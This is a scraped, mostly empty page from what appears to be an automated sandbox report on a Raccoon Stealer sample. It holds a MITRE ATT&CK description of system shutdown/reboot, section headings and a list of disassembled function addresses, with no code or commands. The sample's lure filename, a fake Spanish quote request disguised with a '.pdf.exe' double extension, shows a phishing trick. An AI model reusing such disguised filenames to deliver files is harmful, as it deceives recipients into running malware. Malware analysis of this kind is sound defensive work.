Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Raccoon Stealer

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Function 004016BC, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 474
COMMON

Function 00418214, Relevance: 49.3, APIs: 26, Strings: 2, Instructions: 278
COMMON

Function 0041442A, Relevance: 56.2, APIs: 30, Strings: 2, Instructions: 234
COMMON

Function 00413CB4, Relevance: 45.3, APIs: 30, Instructions: 267
COMMON

Function 00416FFD, Relevance: 44.0, APIs: 24, Strings: 1, Instructions: 243
COMMON

Function 00416BF7, Relevance: 40.8, APIs: 27, Instructions: 259
COMMON

Function 00416505, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 213
COMMON

Function 00414E48, Relevance: 37.7, APIs: 25, Instructions: 244
COMMON

Function 00414B75, Relevance: 36.9, APIs: 20, Strings: 1, Instructions: 191
COMMON

Function 00416828, Relevance: 34.7, APIs: 23, Instructions: 205
COMMON

Function 004160CA, Relevance: 34.7, APIs: 23, Instructions: 178
COMMON

Function 00415391, Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 177
COMMON

Function 00415727, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 159
COMMON

Function 00415E5E, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
COMMON